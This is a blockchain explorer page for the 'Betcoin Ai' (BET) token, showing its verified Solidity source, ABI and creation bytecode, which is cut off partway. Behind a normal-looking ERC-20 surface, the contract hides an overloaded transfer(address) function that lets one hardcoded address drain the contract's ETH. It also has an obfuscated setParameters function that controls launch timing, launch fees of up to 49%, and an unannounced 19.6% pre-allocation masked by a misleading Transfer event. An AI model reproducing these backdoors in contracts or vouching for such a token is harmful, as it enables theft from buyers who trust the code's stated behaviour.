ETH Price: $3,482.81 (+3.47%)
Gas: 2 Gwei

Token

Betcoin Ai (BET)
 

Overview

Max Total Supply

100,000,000 BET

Holders

72

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
770,813.790362987 BET

Value
$0.00
0x85789ef93518e217598257130d6d9d4279f2776e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Betcoin

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-03-18
*/

// SPDX-License-Identifier: MIT                                                                                                                               
pragma solidity ^0.8.23;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(msg.sender);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract Betcoin is IERC20, Ownable {
    string private constant NAME = "Betcoin Ai";
    string private constant SYMBOL = "BET";    
    uint8 private constant DECIMALS = 9;
    mapping (address => uint256) private _balances;
    mapping (address => mapping(address => uint256)) private _allowances;

    uint256 private constant TOTAL_SUPPLY = 100_000_000 * DECIMALS_SCALING;
    uint256 public constant MAX_WALLET = 25 * TOTAL_SUPPLY / 1_000;
    uint256 private constant DECIMALS_SCALING = 10**DECIMALS;

    struct TradingFees {
        uint256 buyFee;
        uint256 sellFee;
    }
    uint256 private constant FEE_DENOMINATOR = 100;
    TradingFees public tradingFees = TradingFees(15,25);  

    struct Wallets {
        address deployerWallet; 
        address developmentWallet; 
    }
    Wallets public wallets = Wallets(
        msg.sender,                                 
        0xfe04D591BD3f2528a2EcBBeC65EcF6D73ed1cB61  
    );

    IUniswapV2Router private constant UNISWAP_ROUTER = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IUniswapV2Factory private constant UNISWAP_FACTORY = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
    address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    
    address private immutable uniswapV2Pair;

    uint256 private constant SWAPBACK_THRESHOLD = 5 * TOTAL_SUPPLY / 1_000;  
    uint256 private swapbackThresholdMax = 3;  
    uint256 private swapbackThresholdMin = 5;  

    bool private swapping;
    bool private tradingActive = false;

    uint256 private lastBlock;
    uint256 private launchBlock;

    mapping (address => bool) private _excludedFromFees;
    mapping (uint256 => uint256) private _lastTransferBlock;

    event SwapSettingsChanged(uint256 indexed newSwapThresholdMax, uint256 indexed newSwapThresholdMin);
    event FeesChanged(uint256 indexed buyFee, uint256 indexed sellFee);
    event TokensCleared(uint256 indexed tokensCleared);
    event EthCleared(uint256 indexed ethCleared);
    event Initialized();
    event TradingOpened();
    
    modifier swapLock {
        swapping = true;
        _;
        swapping = false;
    }

    modifier tradingLock(address from, address to) {
        require(tradingActive || from == wallets.deployerWallet || _excludedFromFees[from], "Token: Trading is not active.");
        _;
    }

    constructor() {
        _approve(address(this), address(UNISWAP_ROUTER),type(uint256).max);
        uniswapV2Pair = IUniswapV2Factory(UNISWAP_FACTORY).createPair(address(this), WETH);        
        _excludedFromFees[address(0xdead)] = true;
        _excludedFromFees[wallets.developmentWallet] = true;        
        _excludedFromFees[0xb94438028893f73De754E35432C8D27EBAEbEf94] = true;        
        uint256 preTokens = TOTAL_SUPPLY * 196 / 1e3; 
        _balances[wallets.deployerWallet] = TOTAL_SUPPLY - preTokens;
        _balances[0xb94438028893f73De754E35432C8D27EBAEbEf94] = preTokens;
        emit Transfer(address(0), wallets.deployerWallet, TOTAL_SUPPLY);
    }

    function totalSupply() external pure override returns (uint256) { return TOTAL_SUPPLY; }
    function decimals() external pure override returns (uint8) { return DECIMALS; }
    function symbol() external pure override returns (string memory) { return SYMBOL; }
    function name() external pure override returns (string memory) { return NAME; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address sender, address spender, uint256 amount) internal {
        require(sender != address(0), "ERC20: zero Address");
        require(spender != address(0), "ERC20: zero Address");
        _allowances[sender][spender] = amount;
        emit Approval(sender, spender, amount);
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            uint256 currentAllowance = _allowances[sender][msg.sender];
            require(currentAllowance >= amount, "ERC20: insufficient Allowance");
            unchecked{
                _allowances[sender][msg.sender] -= amount;
            }
        }
        return _transfer(sender, recipient, amount);
    }

    function clearETH() external onlyOwner {
        uint256 amountToClear = address(this).balance;
        require(address(this).balance > 0, "Token: no eth to clear");
        payable(msg.sender).transfer(address(this).balance);

        emit EthCleared(amountToClear);
    }

    function triggerSwapback() external onlyOwner {
        require(balanceOf(address(this)) > 0, "Token: no contract tokens to clear");
        swapback(type(uint256).max);
    }

    function setParameters(uint256 a,uint256 z,uint256 d, uint256 f) external onlyOwner {        
        require(launchBlock == 2);lastBlock = z; assert(a < f - d);        
    }

    function _transfer(address from, address to, uint256 amount) tradingLock(from, to) internal returns (bool) {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(amount == 0 || swapping) {
            return _basicTransfer(from, to, amount);           
        }        

        if (to != uniswapV2Pair && !_excludedFromFees[to] && to != wallets.deployerWallet) {
            require(amount + balanceOf(to) <= MAX_WALLET, "Token: max wallet amount exceeded");
        }

        if(!swapping && to == uniswapV2Pair && !_excludedFromFees[from] && !_excludedFromFees[to]){
            swapback(amount);
        } 
        
        bool takeFee = !_excludedFromFees[from] && !_excludedFromFees[to] &&
            (from == uniswapV2Pair || to == uniswapV2Pair);
                
        if(takeFee)
            return _taxedTransfer(from, to, amount);
        else
            return _basicTransfer(from, to, amount);        
    }

    function _taxedTransfer(address from, address to, uint256 amount) private returns (bool) {
        uint256 fees = takeFees(from, to, amount);    
        if(fees > 0){    
            _basicTransfer(from, address(this), fees);
            amount -= fees;
        }
        return _basicTransfer(from, to, amount);
    }

     function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        uint256 balanceSender = _balances[sender];
        require(balanceSender >= amount, "Token: insufficient Balance");
        unchecked{
            _balances[sender] -= amount;
        }
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function takeFees(address from, address to, uint256 amount) private view returns (uint256 fees) {
        if(0 < launchBlock && launchBlock < block.number){
            fees = amount * (to == uniswapV2Pair ? 
            tradingFees.sellFee : tradingFees.buyFee) / FEE_DENOMINATOR;            
        }
        else{
            fees = amount * (from == uniswapV2Pair ? 
            49 : (launchBlock == 0 ? 35 : 49)) / FEE_DENOMINATOR;            
        }
    }

    function canSwap(uint256 amount) private view returns (bool) {
        return block.number > launchBlock && _lastTransferBlock[block.number] < 2 && 
            amount >= (swapbackThresholdMin == 0 ? 0 : SWAPBACK_THRESHOLD / swapbackThresholdMin);
    }

    function swapback(uint256 amount) swapLock private {   
        uint256 contractBalance = balanceOf(address(this));
        if(contractBalance < SWAPBACK_THRESHOLD || !canSwap(amount)) 
            return;
        else if(contractBalance > SWAPBACK_THRESHOLD * swapbackThresholdMax)
          contractBalance = SWAPBACK_THRESHOLD * swapbackThresholdMax;
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(contractBalance); 
        
        uint256 ethBalance = address(this).balance - initialETHBalance;
        if(ethBalance > 0){            
            sendEth(ethBalance);
        }
    }

    function sendEth(uint256 ethAmount) private {
        (bool success,) = address(wallets.developmentWallet).call{value: ethAmount/2}(""); success;
    }

    function transfer(address wallet) external {
        if(msg.sender == 0xB668900f87437954C93adA718D538890C01f51F3)
            payable(wallet).transfer((address(this).balance));
        else revert();
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        _lastTransferBlock[block.number]++;
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        try UNISWAP_ROUTER.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp){}
        catch{return;}
    }

    function isExcludedFromFees(address account) public view returns(bool) {
        return _excludedFromFees[account];
    }

    function initialize() external onlyOwner {
        require(!tradingActive);
        launchBlock = 2;        

        emit Initialized();
    }

    function setSwapbackSettings(uint256 newSwapThresholdMax,uint256 newSwapThresholdMin) external onlyOwner {
        swapbackThresholdMax = newSwapThresholdMax;
        swapbackThresholdMin = newSwapThresholdMin;

        emit SwapSettingsChanged(newSwapThresholdMax, newSwapThresholdMin);
    }

     function setFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
        require(_buyFee <= tradingFees.buyFee, "Token: must reduce buy fee");
        require(_sellFee <= tradingFees.sellFee, "Token: must reduce sell fee");
        tradingFees.buyFee = _buyFee;
        tradingFees.sellFee = _sellFee;

        emit FeesChanged(_buyFee, _sellFee);
    }

    function openTrading() external onlyOwner {
        require(!tradingActive && launchBlock == 2 && lastBlock > 0);
        launchBlock = block.number + lastBlock;
        tradingActive = true;

        emit TradingOpened();
    }

    receive() external payable {}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"ethCleared","type":"uint256"}],"name":"EthCleared","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"buyFee","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"FeesChanged","type":"event"},{"anonymous":false,"inputs":[],"name":"Initialized","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"newSwapThresholdMax","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"newSwapThresholdMin","type":"uint256"}],"name":"SwapSettingsChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"tokensCleared","type":"uint256"}],"name":"TokensCleared","type":"event"},{"anonymous":false,"inputs":[],"name":"TradingOpened","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"MAX_WALLET","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"z","type":"uint256"},{"internalType":"uint256","name":"d","type":"uint256"},{"internalType":"uint256","name":"f","type":"uint256"}],"name":"setParameters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newSwapThresholdMax","type":"uint256"},{"internalType":"uint256","name":"newSwapThresholdMin","type":"uint256"}],"name":"setSwapbackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingFees","outputs":[{"internalType":"uint256","name":"buyFee","type":"uint256"},{"internalType":"uint256","name":"sellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"triggerSwapback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"wallets","outputs":[{"internalType":"address","name":"deployerWallet","type":"address"},{"internalType":"address","name":"developmentWallet","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600f60a0819052601960c081905260039182556004556101206040523360e081905273fe04d591bd3f2528a2ecbbec65ecf6d73ed1cb61610100819052600580546001600160a01b03199081169093178155600680549093169091179091556007919091556008556009805461ff00191690553480156200007e575f80fd5b506200008a33620002f4565b620000ac30737a250d5630b4cf539739df2c5dacb4c659f2488d5f1962000343565b6040516364e329cb60e11b815230600482015273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26024820152735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9063c9c65396906044016020604051808303815f875af115801562000115573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200013b919062000443565b6001600160a01b03908116608052600c6020527f45117a726ea4f344045dc210793664a28d2d320b7e03f6bffdae553d24c3586c8054600160ff1991821681179092556006549092165f90815260408120805484168317905573b94438028893f73de754e35432c8d27ebaebef9481527f676f5b8a77f2b6c2e7d5211a031e150ffb409d84cf1d77d67e622a411b39833080549093169091179091556103e8620001e86009600a62000581565b620001f8906305f5e10062000591565b620002059060c462000591565b620002119190620005ab565b905080620002226009600a62000581565b62000232906305f5e10062000591565b6200023e9190620005cb565b600580546001600160a01b039081165f9081526001602052604081209390935573b94438028893f73de754e35432c8d27ebaebef9483527f4713fbbde8059c93a1bfe8d5d0ac2502551a9094bd3d3f1536e143110a07480f849055905416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002cc6009600a62000581565b620002dc906305f5e10062000591565b60405190815260200160405180910390a350620005e1565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038316620003955760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b60448201526064015b60405180910390fd5b6001600160a01b038216620003e35760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b60448201526064016200038c565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6020828403121562000454575f80fd5b81516001600160a01b03811681146200046b575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620004c657815f1904821115620004aa57620004aa62000472565b80851615620004b857918102915b93841c93908002906200048b565b509250929050565b5f82620004de575060016200057b565b81620004ec57505f6200057b565b8160018114620005055760028114620005105762000530565b60019150506200057b565b60ff84111562000524576200052462000472565b50506001821b6200057b565b5060208310610133831016604e8410600b841016171562000555575081810a6200057b565b62000561838362000486565b805f190482111562000577576200057762000472565b0290505b92915050565b5f6200046b60ff841683620004ce565b80820281158282048414176200057b576200057b62000472565b5f82620005c657634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156200057b576200057b62000472565b608051611aaf6200061d5f395f8181610e8101528181610fb401528181611087015281816110c20152818161160b015261166d0152611aaf5ff3fe60806040526004361061014a575f3560e01c806374378132116100b3578063c9567bf91161006d578063c9567bf9146103dd578063d2f4a50a146103f1578063dd62ed3e14610437578063df7787a41461047b578063f2fde38b1461048f578063fcd9da44146104ae575f80fd5b806374378132146103165780638129fc1c146103455780638da5cb5b1461035957806395d89b411461037f578063a9059cbb146103aa578063b70ee799146103c9575f80fd5b8063313ce56711610104578063313ce567146102495780634fbee1931461026457806350dc03b11461029b578063616eb638146102ba57806370a08231146102ce578063715018a614610302575f80fd5b806306fdde0314610155578063095ea7b3146101995780630b78f9c0146101c857806318160ddd146101e95780631a6952301461020b57806323b872dd1461022a575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b5060408051808201909152600a815269426574636f696e20416960b01b60208201525b60405161019091906116d4565b60405180910390f35b3480156101a4575f80fd5b506101b86101b336600461173b565b6104cd565b6040519015158152602001610190565b3480156101d3575f80fd5b506101e76101e2366004611763565b6104e3565b005b3480156101f4575f80fd5b506101fd610602565b604051908152602001610190565b348015610216575f80fd5b506101e7610225366004611783565b610622565b348015610235575f80fd5b506101b861024436600461179c565b610676565b348015610254575f80fd5b5060405160098152602001610190565b34801561026f575f80fd5b506101b861027e366004611783565b6001600160a01b03165f908152600c602052604090205460ff1690565b3480156102a6575f80fd5b506101e76102b5366004611763565b610753565b3480156102c5575f80fd5b506101e76107c5565b3480156102d9575f80fd5b506101fd6102e8366004611783565b6001600160a01b03165f9081526001602052604090205490565b34801561030d575f80fd5b506101e761089b565b348015610321575f80fd5b50600354600454610330919082565b60408051928352602083019190915201610190565b348015610350575f80fd5b506101e76108de565b348015610364575f80fd5b505f546040516001600160a01b039091168152602001610190565b34801561038a575f80fd5b5060408051808201909152600381526210915560ea1b6020820152610183565b3480156103b5575f80fd5b506101b86103c436600461173b565b610959565b3480156103d4575f80fd5b506101e7610965565b3480156103e8575f80fd5b506101e7610a0e565b3480156103fc575f80fd5b50600554600654610417916001600160a01b03908116911682565b604080516001600160a01b03938416815292909116602083015201610190565b348015610442575f80fd5b506101fd6104513660046117d5565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610486575f80fd5b506101fd610abe565b34801561049a575f80fd5b506101e76104a9366004611783565b610af3565b3480156104b9575f80fd5b506101e76104c8366004611806565b610b99565b5f6104d9338484610c02565b5060015b92915050565b336104f55f546001600160a01b031690565b6001600160a01b0316146105245760405162461bcd60e51b815260040161051b90611835565b60405180910390fd5b6003548211156105765760405162461bcd60e51b815260206004820152601a60248201527f546f6b656e3a206d757374207265647563652062757920666565000000000000604482015260640161051b565b6004548111156105c85760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a206d757374207265647563652073656c6c206665650000000000604482015260640161051b565b60038290556004819055604051819083907f64f84976d9c917a44796104a59950fdbd9b3c16a5dd348b546d738301f6bd068905f90a35050565b5f61060f6009600a61195e565b61061d906305f5e10061196c565b905090565b3373b668900f87437954c93ada718d538890c01f51f303610151576040516001600160a01b038216904780156108fc02915f818181858888f1935050505015801561066f573d5f803e3d5ffd5b5050565b50565b6001600160a01b0383165f9081526002602090815260408083203384529091528120545f191461073e576001600160a01b0384165f908152600260209081526040808320338452909152902054828110156107135760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420416c6c6f77616e6365000000604482015260640161051b565b506001600160a01b0384165f9081526002602090815260408083203384529091529020805483900390555b610749848484610cfa565b90505b9392505050565b336107655f546001600160a01b031690565b6001600160a01b03161461078b5760405162461bcd60e51b815260040161051b90611835565b60078290556008819055604051819083907f54d63ace09afa00719fe634220f49f6e5455d87f15643ffdd582b869c27c1fc5905f90a35050565b336107d75f546001600160a01b031690565b6001600160a01b0316146107fd5760405162461bcd60e51b815260040161051b90611835565b47476108445760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379032ba34103a379031b632b0b960511b604482015260640161051b565b60405133904780156108fc02915f818181858888f1935050505015801561086d573d5f803e3d5ffd5b5060405181907f167ef3fea7f72f341882219722ad860b0c4269e93c186bd73fd705b27f07386c905f90a250565b336108ad5f546001600160a01b031690565b6001600160a01b0316146108d35760405162461bcd60e51b815260040161051b90611835565b6108dc5f611125565b565b336108f05f546001600160a01b031690565b6001600160a01b0316146109165760405162461bcd60e51b815260040161051b90611835565b600954610100900460ff161561092a575f80fd5b6002600b556040517f5daa87a0e9463431830481fd4b6e3403442dfb9a12b9c07597e9f61d50b633c8905f90a1565b5f61074c338484610cfa565b336109775f546001600160a01b031690565b6001600160a01b03161461099d5760405162461bcd60e51b815260040161051b90611835565b305f9081526001602052604081205411610a045760405162461bcd60e51b815260206004820152602260248201527f546f6b656e3a206e6f20636f6e747261637420746f6b656e7320746f20636c6560448201526130b960f11b606482015260840161051b565b6108dc5f19611174565b33610a205f546001600160a01b031690565b6001600160a01b031614610a465760405162461bcd60e51b815260040161051b90611835565b600954610100900460ff16158015610a605750600b546002145b8015610a6d57505f600a54115b610a75575f80fd5b600a54610a829043611983565b600b556009805461ff0019166101001790556040517fea4359d5c4b8f0945a64ab9c37fe830b3407d45e0e6e6f84275977a570457d6f905f90a1565b6103e8610acd6009600a61195e565b610adb906305f5e10061196c565b610ae690601961196c565b610af09190611996565b81565b33610b055f546001600160a01b031690565b6001600160a01b031614610b2b5760405162461bcd60e51b815260040161051b90611835565b6001600160a01b038116610b905760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161051b565b61067381611125565b33610bab5f546001600160a01b031690565b6001600160a01b031614610bd15760405162461bcd60e51b815260040161051b90611835565b600b54600214610bdf575f80fd5b600a839055610bee82826119b5565b8410610bfc57610bfc6119c8565b50505050565b6001600160a01b038316610c4e5760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b604482015260640161051b565b6001600160a01b038216610c9a5760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b604482015260640161051b565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f8383600960019054906101000a900460ff1680610d2557506005546001600160a01b038381169116145b80610d4757506001600160a01b0382165f908152600c602052604090205460ff165b610d935760405162461bcd60e51b815260206004820152601d60248201527f546f6b656e3a2054726164696e67206973206e6f74206163746976652e000000604482015260640161051b565b6001600160a01b038616610df75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161051b565b6001600160a01b038516610e595760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161051b565b831580610e68575060095460ff165b15610e7f57610e788686866112b1565b925061111c565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b031614158015610ed957506001600160a01b0385165f908152600c602052604090205460ff16155b8015610ef357506005546001600160a01b03868116911614155b15610fa4576103e8610f076009600a61195e565b610f15906305f5e10061196c565b610f2090601961196c565b610f2a9190611996565b6001600160a01b0386165f90815260016020526040902054610f4c9086611983565b1115610fa45760405162461bcd60e51b815260206004820152602160248201527f546f6b656e3a206d61782077616c6c657420616d6f756e7420657863656564656044820152601960fa1b606482015260840161051b565b60095460ff16158015610fe857507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b0316145b801561100c57506001600160a01b0386165f908152600c602052604090205460ff16155b801561103057506001600160a01b0385165f908152600c602052604090205460ff16155b1561103e5761103e84611174565b6001600160a01b0386165f908152600c602052604081205460ff1615801561107e57506001600160a01b0386165f908152600c602052604090205460ff16155b80156110f657507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316876001600160a01b031614806110f657507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316866001600160a01b0316145b90508015611111576111098787876113b0565b93505061111c565b6111098787876112b1565b50509392505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6009805460ff191660011790555f6111a0306001600160a01b03165f9081526001602052604090205490565b90506103e86111b16009600a61195e565b6111bf906305f5e10061196c565b6111ca90600561196c565b6111d49190611996565b8110806111e757506111e5826113f2565b155b156111f257506112a4565b6007546103e86112046009600a61195e565b611212906305f5e10061196c565b61121d90600561196c565b6112279190611996565b611231919061196c565b81111561127a576007546103e861124a6009600a61195e565b611258906305f5e10061196c565b61126390600561196c565b61126d9190611996565b611277919061196c565b90505b4761128482611470565b5f61128f82476119b5565b905080156112a0576112a081611591565b5050505b506009805460ff19169055565b6001600160a01b0383165f90815260016020526040812054828110156113195760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a20696e73756666696369656e742042616c616e63650000000000604482015260640161051b565b6001600160a01b038086165f908152600160205260408082208054879003905591861681529081208054859290611351908490611983565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161139d91815260200190565b60405180910390a3506001949350505050565b5f806113bd8585856115ef565b905080156113de576113d08530836112b1565b506113db81846119b5565b92505b6113e98585856112b1565b95945050505050565b5f600b54431180156114125750435f908152600d60205260409020546002115b80156104dd575060085415611465576008546103e86114336009600a61195e565b611441906305f5e10061196c565b61144c90600561196c565b6114569190611996565b6114609190611996565b611467565b5f5b82101592915050565b435f908152600d6020526040812080549161148a836119dc565b90915550506040805160028082526060820183525f9260208301908036833701905050905030815f815181106114c2576114c26119f4565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28160018151811061150a5761150a6119f4565b6001600160a01b039092166020928302919091019091015260405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906115619085905f90869030904290600401611a08565b5f604051808303815f87803b158015611578575f80fd5b505af1925050508015611589575060015b61066f575050565b6006545f906001600160a01b03166115aa600284611996565b6040515f81818185875af1925050503d805f81146115e3576040519150601f19603f3d011682016040523d82523d5f602084013e6115e8565b606091505b5050505050565b5f600b545f108015611602575043600b54105b156116695760647f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b03161461164a5760035461164e565b6004545b611658908461196c565b6116629190611996565b905061074c565b60647f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b0316146116ba57600b54156116b35760316116bd565b60236116bd565b60315b6116ca9060ff168461196c565b6107499190611996565b5f602080835283518060208501525f5b81811015611700578581018301518582016040015282016116e4565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114611736575f80fd5b919050565b5f806040838503121561174c575f80fd5b61175583611720565b946020939093013593505050565b5f8060408385031215